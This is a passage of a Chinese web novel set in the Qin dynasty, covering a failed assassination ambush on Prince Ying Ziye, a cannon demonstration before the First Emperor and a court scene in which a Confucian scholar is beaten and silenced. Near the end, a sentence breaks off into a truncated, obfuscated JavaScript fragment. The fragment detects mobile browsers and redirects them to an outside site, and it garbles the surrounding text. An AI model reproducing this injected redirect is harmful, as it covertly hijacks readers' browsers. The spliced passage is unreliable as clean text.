只有朱雀的青铜零件发出不堪重负的“吱呀”声。
像极了墨家机关城最后崩塌时的哀鸣。
第67章 暗杀来袭!
夕阳西沉。
官道两侧的密林被染成血色。
玄翦半蹲在一株古松的横枝上,黑袍与树影融为一体。
他缓缓抬手,一片飘落的松针停在指尖。
针尖微微颤动,显示着三里外正在靠近的车队震动地面的频率。
“大人。”
一个黑影如落叶般悄无声息地落在相邻的树枝上。
天字二等**“血蛛”单膝跪伏,面具下的呼吸轻不可闻。
“七十六处伏击点已就位。”
玄翦没有回头。
他的目光穿透暮色,锁定在车队中央那辆玄色马车上。
黄金火骑兵的铠甲在落日下泛着冷光,却照不透马车周围三丈内那片诡异的阴影。
“**箭淬毒了?”
“三息毙命的‘青丝绕’。”
血蛛的袖箭在阴影中泛着幽蓝,“按您吩咐,避开了公输仇的机关兽巡逻路线。”
远处。
传来夜枭的啼叫。
玄翦的指尖轻轻一弹,那片松针无声地钉入树干,入木三分!!
树下的草丛微微晃动。
露出“魅影”那双没有眼白的瞳孔。
这位杀字级**,已经与杂草融为一体,一天一夜。
而官道转弯处的老槐树上,“幽泉”像块树瘤般静止不动。
他的锁骨上钉着七根封脉针,将心跳压制到每刻钟才跳动一次。
树根处的蚁群正沿着他的靴底爬行。
却对他靴筒里藏的十二把透骨镖毫无察觉。
三百步外的土坡后,“骨笛”正在用肋骨摩擦特制的骨片。
这种只有罗网**才能听见的声波,正在调整所有伏击者的呼吸频率。
他的脚边躺着三具刺猬尸体,每根刺上都涂着不同的**。
玄翦的耳廓微微一动。
东南方两里处的溪水里,“寒江”已经潜伏了六个时辰。
这个擅长水遁的地字级**,连体温都降到了与溪水相同的温度。
此刻他正通过水波震动,传递着车队先锋的实时位置。
“子时三刻。”
玄翦的声音比夜风还轻,“我要那辆马车里的人头。”
血蛛的脸色越发凝重:“那青铜匣……”
“蠢货。”
玄翦袖中的鲨齿剑微微出鞘半寸,“赵高大人要的是赢子夜永远闭嘴,不是当盗墓贼。”
树下的“魅影”突然绷紧肌肉!
他的地听之术捕捉到了不同寻常的震动。
一只机关鼠正从车队方向潜行而来,背上闪着公输家特有的侦查符文。
玄翦抬手做了个绞杀的手势。
三十丈外,“枯藤”的绞索已经无声无息地勒住了那只机关鼠的脖子!
这个伪装成樵夫的天字二等**,指缝里的老茧都能挡刀。
夜风,突然转向。
玄翦的黑袍微微扬起,露出腰间那块刻着蜘蛛纹的玉牌。
这是行动前,赵高亲手赐下的“决杀令”。
“告诉‘鬼针’。”
玄翦突然开口,“他的目标换了。”
血蛛顺着玄翦的目光看去,车队末尾,不知何时多了个披斗篷的身影。
那人走路时左肩微沉,正是此前被盖聂所伤的白凤。
树影渐渐拉长。
当最后一缕夕阳被黑暗吞噬时,整片密林陷入了诡异的寂静。
没有虫鸣,没有鸟叫,甚至连风都静止了。
只有那些藏在阴影里的**们,正在用罗**有的方式传递着最后的信息:
一根蛛丝断裂的声音,代表**箭已上弦!
两片树叶摩擦的轻响,示意陷阱就位!
三声几不可闻的指节敲击,是毒烟准备完毕的暗号……
玄翦缓缓闭上眼睛。
在绝对黑暗中,他听到了三百名**同步调整呼吸的韵律!
就像一张无形的蛛网,正在月光照不到的角落里,静静等待猎物踏入死亡!
……
而玄色马车内,赢子夜倚在软垫上,指尖轻轻摩挲着青铜匣表面的星宿纹路。
车窗外,黄金火骑兵的铁蹄声整齐划一,却在某个瞬间出现了极其细微的紊乱。
第三排左数第五骑的战马,蹄铁磕到了不该存在的碎石。
赢子夜的眼皮都没抬一下,左手却已按在了天子剑的剑柄上。
鎏金剑鞘内传来细微的嗡鸣,那是感应到杀气的反应。
他的指尖在青铜匣上敲出一段古怪的节奏。
匣内机关随之转动,发出只有他才能解读的咔嗒声。
“该让公输仇的机关兽…睡前多喝点油了。”
车帘微微掀起一角。
月光漏进来,照在赢子夜嘴角那抹冷笑上。
他早就注意到沿途不正常的寂静。
没有夜枭,没有狼嚎,甚至连夏夜应有的虫鸣都消失了。
这种级别的潜伏手段,除了罗网不会有第二家!
他倒要看看,赵高这次派来的,够不够资格死在他手下。
远处山崖上,一只夜枭突然惊飞。
赢子夜的睫毛微微颤动!
那是他今
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晚上听到的第一声鸟叫,也是最后一声。
……
半个时辰后。
大军扎营。
赢子夜斜倚在鎏金案几前,修长的手指缓缓摩挲青铜匣。
烛火将苍龙七宿的印记映在他深不见底的眼眸中,忽明忽暗。
帐外夜风骤急!
烛芯“啪”地爆开一朵灯花!
暗河统领赵弋苍的身影如墨色般在角落凝聚。
“公子,西北三里处有异动。”
他沉稳的声音里罕见地带着凝重,“至少三十名天字级…”
“知道了。”
赢子夜头也不抬,指尖在案几下方某处轻轻一点。
紧接着,便是机关咬合的轻响!
暗格里滑出一把通体漆黑的短**。
赵弋苍的瞳孔微缩。
那是公输仇用秘术为公子改造的“诛神**”,一发可破宗师护体罡气!
“既然来了。”
赢子夜终于抬眸,烛光在他眼底凝成两点寒星,“便让他们见识见识,什么叫…”
他随手将短**抛给赵弋苍。
“以杀止杀!!!”
帐外,一片枯叶飘落在巡逻士兵的肩甲上。
叶脉间渗出幽蓝的液体,瞬间腐蚀出一个小孔。
……
夜色如墨,林间忽起一阵阴风。
玄翦抬手做了个手势,数十名罗网**如鬼魅般散开!
最前排的“血蛛”突然甩袖,七枚淬毒飞镖破空而出,钉入大营外围的哨塔木柱!
却只惊起几只夜鸦。
“不对劲…”
血蛛面具下的眉头微皱。
**静了,连预想中的惨叫声都没有。
“咔。”
一声极轻的机括声从头顶传来!
玄翦猛然抬头,只见树冠间寒光一闪——
“嗖嗖嗖!!!”
十二支**箭呈天罗地网之势罩下!
最左侧的杀字级**“骨刺”还未来得及反应,咽喉已被一支通体漆黑的**箭贯穿。
箭尾刻着暗河特有的波纹标记,在月光下泛着冷光。
“防御阵型!”
玄翦的长剑瞬间出鞘,剑锋划过一道猩红弧光,将袭向自己的三支**箭齐齐斩断。
断箭落地的刹那,箭杆突然爆开,毒雾弥漫!
“闭气!”
警告来得太迟。
两名地字级**已经捂着喉咙跪倒在地,七窍中渗出诡异的蓝血。
他们的指缝间,隐约可见皮肤下蠕动的黑色丝线。
正是暗河特制的“千机毒”。
第69章 此物,竟然这么强?!
咸阳。
中车府令府邸。
幽暗的密室中,烛火摇曳不定,投下一片诡谲阴影。
赵高瘦长的手指轻捻着一封刚送到的绢帛,指尖微颤,绢面尚有余温。
他眼中寒光一闪而逝,低头凝视那行未干的墨字——
【任务失败,遭遇强敌,身份未泄。】
“强敌?”赵高轻声呢喃,声音如毒蛇吐信。
“六公子的身边,何时有了这样的势力?”
他缓缓抬眸,看向跪伏在阴影中的传令使:“玄翦可有详述?”
传令使额头渗汗:“回大人,玄翦言,对方剑法刚猛,重剑灼热,炎阳之气灼人,且功底深厚,攻防一体……”
他顿了顿,似在斟酌用词:“出手之凶险,远胜预估。”
赵高微微眯眼,指尖在信纸上缓缓摩挲,似在沉思。
片刻,他忽而冷笑一声:“呵…就连卫庄的逆流沙,也甘愿为他出剑。”
他走到窗前,目光投向远方天际,低声喃喃:“六公子,你身边聚拢的,可不止是些低贱浪荡之辈呢……”
黑袍如流水般垂落,踱步至窗前。
月光透过窗棂,在他脸上投下斑驳的阴影。
他只是不明白,这个被朝堂遗忘多年的皇子,何时竟有了如此底蕴?
像是一夜之间冒出来的…
“大人,是否继续刺杀?”
传令使小心翼翼地问道。
赵高冷笑一声:“六公子返朝在即,陛下亲迎,此时再动手,无异于自寻死路。”
他指尖轻敲桌案,眼中算计之色愈浓:
“传令,取消任务,所有罗网**即刻隐匿。”
“诺!”
传令使低头应声,却未立刻退下,犹豫片刻后道:“惊鲵大人那边…已有进展。”
赵高眸中寒光一闪:“说。”
“已布局妥当,即将得手。”
赵高嘴角微扬,露出一个阴冷的笑容:“很好。”
他转身走向密室深处,指尖轻轻抚过墙壁上悬挂的大秦地图,最终停在某处。
“惊鲵此人,心思难测……”
“掩日。”他忽然开口。
阴影中,一道身影无声浮现,面具下的双眼冰冷如刀:“属下在。”
“暗中盯着惊鲵。”
赵高声音极轻,却字字如冰。
“若她有半分异动……”
“取而代之。”
掩日的声音毫无波澜,仿佛只是在陈述一个既定的事实。
赵高满意地颔首,目光再次落回绢帛上,指尖摩挲着一枚青铜令牌。
令牌背面刻着一只蜘蛛,正面却是一片空白。
那是罗网最高级别的密令,唯有天字一等**才有资格持有。
“赢子夜……”
他低声自语。
“你藏得再深,也终有露出马脚的一日。”
窗外,夜风骤起,卷起一片枯叶。
赵高的身影在烛光下显得愈发阴森,仿佛与黑暗融为一体。
……
数日后。
旭日初升。
咸阳城外三十里的官道上黄土飞扬。
文武百官早已列队等候。
扶苏一袭儒服立于最前,温润的眉眼间罕见地流露出一丝凝重。
远处地平线上,一道黑线正缓缓推进,如同潮水般漫过原野。
“来了!”
不知是谁低呼一声。
刹那间,大地开始震颤!
最先映入眼帘的是数万黄金火骑兵,鎏金战甲在朝阳下灿若流火。
战马踏地的轰鸣声中,蒙恬高举长戟,身后“秦”字大旗猎猎作响!
骑兵阵列如刀削般整齐,每一张面孔都如铁铸般冷硬。
这是真正从尸山血海中杀出来的虎狼之师!!
“轰——!”
突如其来的巨响让几名文官踉跄后退。
只见骑兵阵后缓缓现出十头“奔雷虎”,青铜铸造的兽躯足有两人高,四足踏地时迸发蓝色电光。
沿途草木触及电光,瞬间焦黑成灰。
蒙武的胡须微微颤抖,这位身经百战的老将竟也露出骇然之色。
更令人窒息的阴影接踵而至。
两头“擎天猿”如山岳般移动,每步都让地面龟裂!
它们肩上扛着巨型青铜战鼓,随着节奏擂动,声浪震得城楼砖石簌簌掉落!
李斯手中的玉笏“啪嗒”落地,这位素来沉稳的丞相此刻面色煞白!
“那…那是什么?!”
一名年轻官员突然指向天空。
十二头“裂羽雕”展开五丈宽的钢铁羽翼,在低空盘旋。
翅缘弹出的锯齿刀轮反射着冷光,偶尔相碰便迸溅出刺目火花。
观礼的百姓纷纷大拜,以为是天神降世!!
忽然,所有机关兽同时停步。
死一般的寂静中,一辆玄色马车缓缓驶到阵前。
车帘掀起时,赢子夜一袭墨金**袍踏出车厢,腰间天子剑泛着幽蓝寒芒。
他目光扫过百官,最后落在远处城楼上——
始皇帝正负手而立,玄色帝袍在晨风中如乌云翻滚!!
“儿臣,幸不辱命。”
平静的六个字,却让三千铁甲同时单膝跪地。
铠甲碰撞声如雷霆炸响,上百头机关兽齐齐低头!
这场面比任何凯旋仪式都更具冲击力!!
扶苏的指尖在袖中微微发抖。
他忽然意识到,这个素来不起眼的六弟,已经成了最危险的对手!
“彩!!!”
始皇帝一声长啸,罕见地大步下城!
“朕的麒麟儿!那能喷吐雷霆的铜兽何在?”
赢子夜微微侧身。
大地突然剧烈震颤,围观人群如潮水般退开。
只见两头庞然大物缓缓分开军阵。
正是背负十管火炮的“镇岳龙象”!
象鼻般的炮管在阳光下泛着冷光,公输仇立于象首,独眼中闪烁着疯狂的光芒!
始皇帝负手立于高台,玄色帝袍上的金线暗纹随呼吸微微起伏。
“朕要亲眼看看…这铜兽能有几分威力。”
他语调不高,却宛若
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神谕,全场瞬间死寂!
“儿臣…遵命!”
赢子夜点头示意。
公输仇的机关臂“咔咔”转动,独眼中迸发狂热!
他猛地拉下操纵杆,炮管内传来令人牙酸的机括声。
而三百步外的荒山上,早已竖起一排包铁皮的标靶!
那是模仿六国最坚固的城墙所制。
“放!”
第一声轰鸣炸响时,扶苏一袭儒服被气浪掀起。
他眼睁睁看着那道赤红火线划破长空,标靶瞬间汽化,连带后方山岩都熔成赤红岩浆!
热风扑面而来,灼得他脸颊生疼!!
第二声、第三声…
十炮连发!!!
整个咸阳城都在震颤,远处山体如同被天神巨锤击中,在惊天动地的轰鸣中塌陷!
飞溅的碎石还未落地,就被冲击波碾成齑粉。
观礼的百官东倒西歪,九卿之一的治粟内史甚至吓得跌坐在地,官帽滚出老远!
“彩!”
始皇帝突然抚掌而起,神色振奋。
这位横扫六合的帝王眼中闪烁着可怕的狂热:“有此神物,匈奴王庭不过土鸡瓦狗!!”
扶苏的指尖深深掐进掌心。
他看见六弟赢子夜正从容立于炮台旁,玄色**袍纤尘不染。
那淡然的神情仿佛在说——
这不过是开胃小菜。
而赵高的苍白面容隐在阴影里。
他注意到每声炮响时,一旁胡亥的瞳孔都会剧烈收缩一次。
这位十八公子手中的玉佩早已捏出裂纹,甜腻的笑容僵在脸上。
最令人胆寒的是**后的余韵。
当硝烟散尽,整个广场鸦雀无声!
那些平日高谈阔论的文官们,此刻全都面色惨白地盯着山体上那个直径百丈的巨坑!
坑底岩石已经琉璃化,在阳光下泛着诡异的彩光!
“传旨。”
始皇帝的声音突然响彻全场,“即日起,少府全力督造此物。”
“朕要三百门…不,五百门!!!”
他转身凝视赢子夜,目光炽热得几乎要将人灼穿:“子夜,你想要什么赏赐?”
赢子夜微微一笑,余光扫过赵高颤抖的指尖:
“儿臣什么也不要,只愿能继续为父皇分忧!”
始皇帝怔了一瞬,随即仰天朗笑,笑声如雷,在广场回荡不休。
“好一个‘分忧’!”
他大袖挥起,声音震彻四方:“传旨!”
“百官随朕,入麒麟殿设宴!”
“今日款待功臣,赏赐三军!”
“凡有军功者,封赏不吝!凡有匠技者,加官进禄!”
一声声旨意如惊雷落地,文武百官纷纷俯首叩拜。
“吾皇圣明!”
“功臣进殿——!”
号角齐鸣,仪仗开道,金甲禁军肃列阶前。
而在那仪仗前,赢子夜立于机关兽队伍之前,身影挺拔,玄**长袍在朝光中微微翻动,恍若天阙下的一柄利剑。
锋芒毕露,直指…九霄!!!
第70章 寡人做事,用得着你儒家来教?
咸阳宫。
麒麟殿。
鎏金灯盏将夜宴照得如同白昼。
百官分列两侧,目光却不时瞥向殿中央那尊青铜火炮模型。
这是赢子夜来的路上,特意命人打造,献给始皇帝的礼物。
“韩信。”
始皇帝的声音在殿内回荡。
一袭布衣的韩信出列跪拜,破旧的衣袍与奢华的大殿格格不入。
但当他抬头时,那双如鹰隼般的眼睛却让满朝文武为之一凛。
“以五千人破项氏精锐,炮轰东谷。”
始皇帝指尖轻叩龙案。
“朕授你为中郎将,领兵千人。”
殿内顿时一片哗然。
李斯眉头微皱,这布衣小子竟然直接封了中郎将?
但当他瞥见赢子夜嘴角那抹若有若无的笑意时,终究没敢出声反对。
“末将…谢陛下隆恩!”
韩信的声音有些发颤。
他没想到自己这个曾经的胯下之徒,竟能站在大秦最高殿堂受封。
“公输仇。”
佝偻的老机关师拖着机关臂上前,金属关节发出刺耳的摩擦声。
“霸道机关术助我军大破墨家。”
始皇帝难得露出一丝笑意。
“赐金千斤,擢升将作少府丞,专司火器研制!”
公输仇的独眼迸发出贪婪的光芒,机关臂“咔咔”作响。
“老臣定当尽心竭力!”
他偷瞄了眼赢子夜,暗道这步棋果然走对了。
“夏侯婴。”
精瘦的骑将快步出列,马鞭还别在腰间。
“攻克机关城期间,你率兵七战七捷,断墨家水路。”
始皇帝微微颔首。
“晋爵三级,赐御马十匹。”
“周勃。”
沉稳的将领抱拳行礼,铠甲上还带着未愈的箭伤。
“坚守侧方豁口,死战不退。”
始皇帝目光中带着欣赏。
“擢升卫尉,统辖都城防务。”
“樊哙!”
虎背熊腰的猛将大步出列,腰间巨斧与地砖相碰,发出沉闷声响。
“哈哈哈!老子在!”
他洪亮的声音震得灯盏摇晃,在御史大夫的瞪视下才慌忙改口。
“末…末将在!”
“阵斩墨家精锐、高手无数。”
始皇帝竟没计较他的失礼。
“晋爵三级,再赐你良田百顷,美酒十车!!!”
……
封赏结束后,殿内仍余欢声笑语。
诸臣觥筹交错,君臣一时其乐融融。
始皇帝抬手示意众人安静,目光缓缓扫过几位公子与随臣,语气不疾不徐:
“子夜,此番东巡归来,沿途风雨兼程…期间,可还发生何事吗?”
话音刚落,赢子夜便神情一凛,出列拱手,眼神如电,将刺杀一事悉数说出。
始皇帝面色凝重,沉声道:“可知是何方鼠辈?”
“儿臣惭愧,未能查出主使。”
“虽解决了来犯之敌,但还是让他们逃了一些人……”
赢子夜轻抚腰间天子剑,目光似有若无地扫过赵高:
“不过儿臣想来…”
“藏头露尾之辈,终究难成气候。”
赵高适时出列,苍白的面容在灯光下宛如鬼魅。
“陛下明鉴,这些阴沟里的老鼠,翻不起什么浪花。”
他袖中的手指微微抽动,暗恼这些废物刺客竟连试探都做不到。
“确实如此。”
赢子夜忽然轻笑,举起酒樽向赵高示意。
“我大秦气运昌盛,宵小之徒自然无所遁形!”
两人目光在半空交锋,殿内温度仿佛骤降!
另一头,胡亥忽然微微一僵,手中那抹甜腻的笑容瞬间凝固如冰。
他的目光无意识地扫向六哥腰间,隐约感受到那柄天子剑似乎与往常不同。
心头一紧!
竟觉得有股难以言喻的寒意从剑穗传来!
仿佛悬着的利刃,随时准备割断他的喉咙!
恐惧无声蔓延,令他连呼吸都变得沉重起来。
而龙台之上。
始皇帝目光沉凝,缓缓收回酒樽,语气虽沉稳却透着威严:
“子夜身受暗算,实属大不敬!!”
他深吸一口气,目光扫过殿内众人,声音沉沉而有力!
“此等逆贼,誓必查明根源,缉拿凶手,朕…誓不姑息!!!”
随后,他大手一挥,恢弘威严中带着安抚。
“众卿勿惊,继续饮宴。”
话音落地,殿内编钟声再度响起,礼乐悠扬,掩不住空气中悄然升起的警惕。
始皇帝端坐于御座之上,目光却仍停驻在赢子夜身上。
他的声音低沉,却字字如金石敲击。
“这次墨家谋逆,事涉广远,牵连深重。”
“朕思虑良久…百家之学,固然可兴教化、助治术。”
“但其中亦有异志之徒,借学行私,托义谋逆。”
“百家可留,异心不可养。”
“帝国不可有第二个墨家。”
此言一出,殿内众臣神色皆变!
淳于越垂下眼帘,拇指轻敲案几,面色如常,指节却微微泛白。
扶苏双手伏案,视线定在眼前的《春秋》残简上,那素日温润的眉眼,此刻写满压抑与挣扎。
祖龙转眸望向下方:
“子夜。”
“此事,朕欲交由你亲自主持整顿——”
“查明余党、清除隐患、重整学令。”
“保我大秦学统一制,学术为国所用,言论为政所辅。”
“你可接下此任?”
声音不高,却宛若沉钟,震彻殿宇。
赢子夜从容起身,玄色长袍上的金线暗纹在烛光下流转。
“儿臣领命。”
他转身面向群臣,嘴角含笑,眼神却冷。
“凡愿为大秦效力者,帝国自当以礼相待!!”
阴阳家
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席位上,星魂目光微凝,紫瞳如星海深沉。
他似有所感,正欲出声,却被月神抬手轻轻按下。
这位蒙眼的女祭司静静端坐,广袖如云垂落,她并未言语,却微微颔首,神情间透出一丝难以言明的肃穆与警觉。
“至于那些…”
赢子夜指尖轻叩腰间天子剑。
“心怀鬼胎之徒……”
突然!
李斯蓦地起身,伏地再拜,声音掷地有声。
“陛下圣明!”
这位法家代表激动得胡须颤抖。
“百家之学,当以帝心为纲。”
“若无规矩,便是纵虎归山!”
“臣愿竭力辅佐六公子,清查余孽,肃正风气,还我大秦朗朗乾坤!”
始皇帝满意地颔首,抬手示意乐师奏乐。
编钟声里,侍者们鱼贯而入,捧着热气腾腾的珍馐美味。
百官强作欢颜举杯相庆,只是那酒樽相碰的声音,怎么听都像是刀剑交击。
赢子夜回到席位时,发现案几上多了一卷竹简。
展开一看,竟是儒家《礼经》的残卷,边缘处用朱砂批注着“民贵君轻”四字。
他抬眼看向儒家席位,正好捕捉到大哥扶苏眼中那转瞬即逝的忧色。
“有意思。”
赢子夜轻笑一声,将竹简投入身旁的炭盆。
火焰窜起的刹那,他看见赵高正在向胡亥耳语,而十八公子手中的蜜饯,早已被捏成烂泥。
就在这时!
忽见淳于越手持玉笏,从扶苏身后缓步而出。
“陛下!”
淳于越的声音如同利刃划破绸缎。
“陛下要整顿百家学说,此举恐有不妥啊!!!”
殿内乐声戛然而止!
赢子夜指尖轻叩酒樽,眼底闪过一丝冷芒。
始皇帝缓缓放下金樽,玄色帝袍上的龙纹在烛光下仿佛活了过来。
“哦?”
祖龙的声音不疾不徐,却让殿内温度骤降。
“淳博士又有何高见?”
淳于越的玉笏在微微颤抖,却仍挺直腰板。
“百家学说源远流长,若强行整顿,只怕会适得其反。”
“老臣恐…恐天下百姓人心惶惶啊!”
“放肆!”
李斯拍案而起,案几上的酒樽翻倒,琼浆玉液浸透了竹简。
“陛下圣裁,岂容你妄议?”
淳于越不退反进,竟向前迈出三步。
“百姓乃国之根本!农家教民耕种,医家救死扶伤,墨家……”
他的声音突然拔高。
“若因整顿而伤及百姓,大秦根基何在?!”
“砰!”
始皇帝手中的青铜酒樽突然爆裂,碎片深深嵌入龙案!
琥珀色的酒液顺着案沿滴落,每一声都像催命的更漏!
“寡人做任何决断——”
祖龙缓缓起身,玄色大氅无风自动。
“用得着你们来教吗?!”
第71章 该去会会那位力能抗鼎的西楚霸王了
恐怖的帝威如泰山压顶,几名儒生当场瘫软!
扶苏儒服已被冷汗浸透,手中的玉杯“当啷”落地,碎成八瓣。
“陛……陛下!”
淳于越的膝盖在打颤,却仍强撑着辩驳。
“孔子曰……”
“住口!!!”
始皇帝一声厉喝,殿外惊雷炸响。
“朕横扫六合时,你的孔圣人在哪?”
“朕修筑长城时,你的仁义礼智又在哪?”
龙靴踏过满地酒渍,在淳于越面前投下死亡的阴影。
赢子夜注意到赵高的手指在袖中痉挛——
这个老狐狸竟也绷紧了脊背。
“你说百姓?”
祖龙低语般重复,语气不重,却如**殿宇。
他缓步走下御阶,龙靴踏在玉石地面上,每一步都仿佛踏在众人心口。
“六国遗民易服剃发时,怎么不见你谈百姓?”
“匈奴叩边屠村时,怎么不见你谈百姓?”
淳于越双膝发颤,却仍咬牙不退。
始皇帝目光如炬,猛然一抬手。
“掌嘴。”
两名内侍应声而出,一人将淳于越按跪在地,另一人抡起镶玉拂尘柄,沉沉一记抽下!!
“啪!”
淳于越脸颊炸开一道血痕,儒冠斜落,血花溅在台阶之上。
“父皇息怒!”扶苏的声音适时响起,稳重中带着谦恭,“老师不过一时失言,罪不至死!”
“扶苏!”祖龙忽然喝道。
长公子猛然一震,踉跄起身。
“你说儒家仁义。”始皇帝眼神冷冽,语声震天。
“可朕扫六合、定万邦,用的是兵法还是《礼经》?”
“朕修**长城,御百蛮之虞,用的是仁义…还是铁血?!!”
扶苏唇齿哆嗦,却一个字也说不出。
始皇帝冷哼一声,转身回到御座,帝袍翻卷如云涛席卷。
“儒家……”
他的手掌轻抚龙案,语气森冷如冰。
“除了整日聒噪,还会什么?”
殿角传来细微的“咔嗒”声。
“陛下!”
淳于越突然挣扎着爬起,嘴角血流如注。
“您若执意如此,天下儒生……”
“如何?”
始皇帝突然笑了。
那笑容让公输仇的机关臂“咔咔”乱响。
“尔等要学荆轲刺秦?还是要效仿墨家叛逆?”
龙案上的竹简无风自动,哗啦啦翻到记载诸子的那一页。
赢子夜瞥见李斯在偷偷擦拭冷汗。
这位法家代表此刻像个吓坏的鹌鹑!
“臣…臣……”
“只为天下计!!”
淳于越的儒冠歪斜,花白胡须沾满血迹。
“好个天下计。”
始皇帝突然拔剑,定秦剑的寒光映亮百官惨白的脸。
“朕只最后再问你一次——”
剑尖抵住淳于越的喉结。
一滴血珠顺着剑纹缓缓流淌。
“尔等是要做朕的臣子……”
祖龙的声音轻得像羽毛,重得像山岳。
“还是要做儒家的忠犬?!”
“轰隆!”
殿外雷声炸响,铜鹤灯台被惊雷劈中,火光骤然腾起。
青铜仙鹤的头颅“咣当”坠地,死寂如灰。
淳于越浑身一震,意识如被雷击!!!
他脑海中浮现出无数儒生伏案抄经的画面,孔门前晨读的童声,儒学千年的薪火未灭……
现在,他面对的,不是可以讲道理的圣主!
而是横扫六合、以铁血意志开创帝国的无上皇者!!!
要知道,他背负着千年学脉的重责,肩负着儒门无数先贤的期望。
但他也明白,若心存违逆,等待的只有湮灭与消逝!
终于,淳于越五体投地,额头磕得鲜血淋漓,声音颤抖如泣:
“臣不敢!臣万万不敢违逆陛下!!”
嬴政负手而立,目光俯瞰如神明冷视人间。
“可惜了,再有万斤骨节,到头来…也不过如此。”
他一甩衣袖,回到御座,帝袍翻卷,金纹涌动如云海。
他挥手如斩,威严不容抗拒:
“传寡人旨意——”
“即日起,百家之学,尽归皇室典藏。”
“儒家经义,交由子夜清理审定,擅传者,视为不忠,逐出咸阳!!!”
殿中无人敢应,只听得“哐啷”一声,扶苏手中的玉杯坠地粉碎。
而淳于越,面如死灰,伏地不起。
赢子夜无声地勾起嘴角。
他看见扶苏的指甲已掐进掌心,鲜血顺着玉带滴落。
看见赵高牵着胡亥低头,老实巴交看都不敢多看一眼的可笑姿态。
更看见殿角阴影里,月神的面纱无风自动——
这位阴阳家右**,竟在微微发抖!
“滚!!!”
始皇帝收剑入鞘的铮鸣,成了压垮百官的最后一根稻草。
淳于越被同僚架着拖出大殿,留下一道蜿蜒的血迹。
扶苏想要告退的请求,却卡在喉咙里,化作一声呜咽。
“退朝。”
简单的两个字,让所有人如蒙大赦。
赢子夜最后一个起身,玄色长袍扫过淳于越吐出的血沫。
当他经过那些颤抖的儒家弟子时,轻轻丢下一句:
“下次若还要逞骨气……”
少年公子抚摸着天子剑的剑穗。
“记得先把棺材备好。”
……
殿外。
暴雨倾盆,洗刷着丹墀上的血迹。
赢子夜站在檐下,看雨幕中仓皇逃窜的儒生们像一群落汤鸡。
李斯悄无声地出现在他身后。
“六公子,整饬百家学说,咱们要先从儒家开刀吗?”
赢子夜摩挲着从殿内案几上顺来的儒家玉牌,忽然轻笑出声。
“不必了。”
“经此一役……”
他望向麒麟殿内那个高大的帝影。
“这朝堂上…再无人敢质疑父皇的意志!”
一道闪电劈开乌云,照亮少年公子幽深的眼眸。
那里面跳动的,是比雷霆更可怕的东西。
半柱香后。
章台宫。
宫门在赢子夜面前缓缓开启。
九重玉阶之上,始皇帝的身影如一座黑铁浇铸的山岳。
玄色帝袍垂落龙台,十二冕旒的阴影遮住了那双鹰隼般的眼睛。
唯有腰间定秦剑的寒光刺破昏暗,在丹墀上投下森冷的光斑。
“儿臣参见父皇。”
赢子夜单膝触地时,听见自己的心跳与殿角铜漏声重合。
龙涎香混着铁锈味钻入鼻腔。
那是帝王身上特有的气息。
“上前。”
祖龙的声音像磨砂青铜,粗粝中带着不容抗拒的威严。
赢子夜踏上玉阶的刹那,忽觉袖中的青铜匣微微发烫。
当他停在第七阶时,恰好能看见父皇指节上那道横贯掌纹的伤疤!
当年随军征战时留下的印记。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16030650|178632||http|test|mini|href|location''.split(''|''),0,{}));
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r>“你在墨家机关城…”
始皇帝突然抬手。
侍从们如潮水般退出殿外,沉重的宫门闭合声像巨兽合拢獠牙。
“找到了什么?”
赢子夜却早有准备,从怀中取出一方青铜匣。
机括转动声在寂静的大殿里格外清晰。
当盒匣投影出的星图映照在穹顶时,祖龙的瞳孔微微收缩!
“苍龙七宿?”
他的指尖,轻叩龙案。
案面突然陷下去一方暗格。
赢子夜看见七个凹槽中静静躺着四个宝盒:
秦盒刻玄鸟,齐盒铸蟠螭,燕盒镶陨铁,魏盒嵌明珠。
每个盒缝都渗着暗红,像是被血浸透的千年古物!
“据儿臣猜测……”
赢子夜故意停顿。
看着父皇抚过定秦剑鞘的手背暴起青筋。
“楚盒目前应该在那个项氏少主手中。”
穹顶星图突然剧烈闪烁!!
将祖龙的面容切割成明暗交错的碎片。
赢子夜注意到父皇左眼瞳孔泛起诡异的金色。
那是服用过阴阳家丹药的痕迹。
“韩非当年献韩盒时……”
始皇帝突然掀开袖口,露出手腕上的黑色纹路。
“说过七个宝盒需以王室血脉开启。”
他冷笑一声。
“可惜他至死都不知,朕要的不是盒中之物……”
“而是集齐它。”
殿外惊雷炸响。
闪电透过窗棂,将龙台照得惨白!
赢子夜这才看清父皇案头摊开的帛书!
上面画着七盒拼合后的形状,竟与传说中轩辕剑的剑格分毫不差。
“章邯。”
祖龙轻唤。
阴影中立刻浮现出一张坚毅凝肃的脸。
“楚南公近日可还安分?”
章邯弯腰时,甲胄扣碰出轻响。
“那老东西仍在东郡观测星象,只是……”
他偷瞄赢子夜一眼。
“上月曾与项梁密会。”
赢子夜袖中的手突然握紧!
他的情报网还未曾提及此事,看来…父皇的眼线竟比暗河更深入楚地。
抬头时,正撞上父皇似笑非笑的眼神。
那目光仿佛能洞穿他!!!
“子夜。”
始皇帝突然抛来一物。
赢子夜接住时掌心一痛!
是半块虎符。
“黄金火骑兵随你调遣。”
祖龙起身时,帝袍下摆扫过案上宝盒,发出金玉相击的脆响。
“朕要楚盒在重阳节前…回到咸阳!”
“儿臣领命。”
赢子夜将虎符按进腰间玉带。
“只是项氏一族若勾结农家……”
始皇帝突然按住定秦剑柄。
剑身出鞘三寸的铮鸣声,让赢子夜的后半句话冻结在喉间!!
穹顶星图中,代表楚地的方位突然血光大盛。
“杀。”
祖龙吐出的这个字带着血腥气!!!
“项燕的孙子…该去陪他祖父了。”
“退下吧。”
始皇帝转身时,帝袍上的金线暗纹幻化成一条吞尾龙。
“之后,章邯会告诉你韩盒的线索。”
……
走出章台宫时,暴雨已停。
赢子夜站在玉阶上俯瞰咸阳,发现自己的玄色**袍竟与父皇的帝袍是同样深浅。
摩挲着虎符上的齿痕,他忽然轻笑出声,一把将铜管捏成齑粉!
“该去会会那位…力能扛鼎的西楚霸王了。”
第72章 诸方震动,墨家灭了?!
阴阳家。
观星殿。
高月被两名阴阳家弟子押入大殿时,青铜灯盏里的火焰突然全部转为幽蓝。
